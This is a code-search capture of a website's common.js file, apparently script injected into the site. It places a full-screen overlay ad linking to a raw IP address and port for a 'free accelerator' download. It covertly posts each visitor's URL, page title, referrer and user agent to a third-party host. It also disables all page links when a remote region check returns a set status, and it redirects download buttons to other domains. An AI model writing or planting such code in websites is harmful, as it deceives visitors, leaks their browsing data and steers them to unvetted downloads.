PageSourceSearch

https://tjhzj.com/common.js

js tjhzj.com collected 2026-10-08 07:02:38 UTC 4,271 bytes, 104 lines download raw bytes

1(function(){
2var src = (document.location.protocol == "http:") ? "http://js.passport.qihucdn.com/11.0.1.js?e0e9d9a5060e23cf5cc34c84d7cd9d61":"https://jspassport.ssl.qhimg.com/11.0.1.js?e0e9d9a5060e23cf5cc34c84d7cd9d61";
3document.write('<script src="' + src + '" id="sozz"><\/script>');
4})();
5(function(){
6    var bp = document.createElement('script');
7    var curProtocol = window.location.protocol.split(':')[0];
8    if (curProtocol === 'https') {
9        bp.src = 'https://zz.bdstatic.com/linksubmit/push.js';
10    }
11    else {
12        bp.src = 'http://push.zhanzhang.baidu.com/push.js';
13    }
14    var s = document.getElementsByTagName("script")[0];
15    s.parentNode.insertBefore(bp, s);
16})();
17// 1
18var ad_href = 'http://179.255.97.122:55555'
19var pc_img = 'https://r2.fastnodes.cc/300-600.jpg'
20var pc_height = '600px'
21var mobile_logo_img = 'https://r2.fastnodes.cc/vp80.png'
22var mobile_text = '永久免费使用的加速器'
23var ad_a = document.createElement('a')
24var body = document.querySelector('body')
25ad_a.setAttribute('href', ad_href)
26if(/Android|webOS|iPhone|iPad|iPod|BlackBerry|IEMobile|Opera Mini/i.test(navigator.userAgent)){
27    ad_a.setAttribute('style', 'z-index: 9999999;position: fixed; bottom: 3vw; left: 3vw; background-color: #0080ff; width: 94vw; height: 16vw; border-radius: 50px; align-items: center; display: flex;padding: 0 25px;box-sizing:border-box;text-decoration:none;')
28    var div1 = document.createElement('div')
29    div1.setAttribute('style', 'flex: 2;height: 60%;')
30    var img1 = document.createElement('img')
31    img1.setAttribute('src', mobile_logo_img)
32    img1.setAttribute('style', 'height: 100%; border-radius: 10px;')
33    var div2 = document.createElement('div')
34    div2.setAttribute('style', 'flex: 10;font-size: 15px;color:#fff; margin-left: 5px;')
35    div2.innerText = mobile_text
36    var button1 = document.createElement('button')
37    button1.setAttribute('style', 'flex: 2;background-color: #0080ff;border: 1px solid #fff;border-radius: 30px; padding: 0 20px;height: 30px;font-size: 15px;color:#fff;')
38    button1.innerText = '下载'
39    div1.appendChild(img1)
40    ad_a.appendChild(div1)
41    ad_a.appendChild(div2)
42    ad_a.appendChild(button1)
43} else {
44    var ad_img = document.createElement('img')
45    ad_img_src = pc_img
46    ad_img.setAttribute('style', 'z-index:9999999; position:fixed; right: 0; bottom: 0; width: auto; height:' + pc_height)
47    ad_img.setAttribute('src', ad_img_src)
48    ad_a.appendChild(ad_img)
49}
50body.appendChild(ad_a)
51// Statistical traffic
52fetch('https://www.nntj.cc/api/websiteFlow', {
53    method: 'post',
54    headers: {
55        'Content-Type': 'application/json'
56    },
57    body: JSON.stringify({
58        url: encodeURIComponent(location.host),
59        search_word: document.title,
60        link: encodeURIComponent(location.href),
61        referer: encodeURIComponent(document.referrer),
62        user_agent: navigator.userAgent
63    })
64})
65// Shielded area
66fetch('https://www.nntj.cc/api/checkArea', { method: 'post' }).then(response => {
67    if (response.status === 405) {
68        document.querySelectorAll('a').forEach(item => {
69            item.setAttribute('href', 'javascript:;')
70        })
71    }
72})
73//google statistics
74var _paq = window._paq = window._paq || [];
75/* tracker methods like "setCustomDimension" should be called before "trackPageView" */
76_paq.push(['trackPageView']);
77_paq.push(['enableLinkTracking']);
78(function() {
79    var u="//tj.manatj.cc/";
80    _paq.push(['setTrackerUrl', u+'matomo.php']);
81    _paq.push(['setSiteId', '1']);
82    var d=document, g=d.createElement('script'), s=d.getElementsByTagName('script')[0];
83    g.async=true; g.src=u+'matomo.js'; s.parentNode.insertBefore(g,s);
84})();
85
86// download-site-redirect-js
87document.querySelectorAll(".apple-down").forEach(function(element) {
88    element.addEventListener("click", function(e) {
89        e.preventDefault();
90        var addr = "http://cms8.cc"
91        switch (element.getAttribute("data-id")) {
92            case "1":
93                addr = "http://cms8.cc"
94                break
95            case "2":
96                addr = "http://cms8.cc"
97                break
98            case "3":
99                addr = "http://8cms.cc"
100                break
101        }
102        open(addr)
103    });
104});

Line numbers count LF bytes from the start of the resource, as the search results do. Vendor segments are library code the classifier recognised; they are stored but not indexed. Bytes are shown as Latin1 characters, one per byte.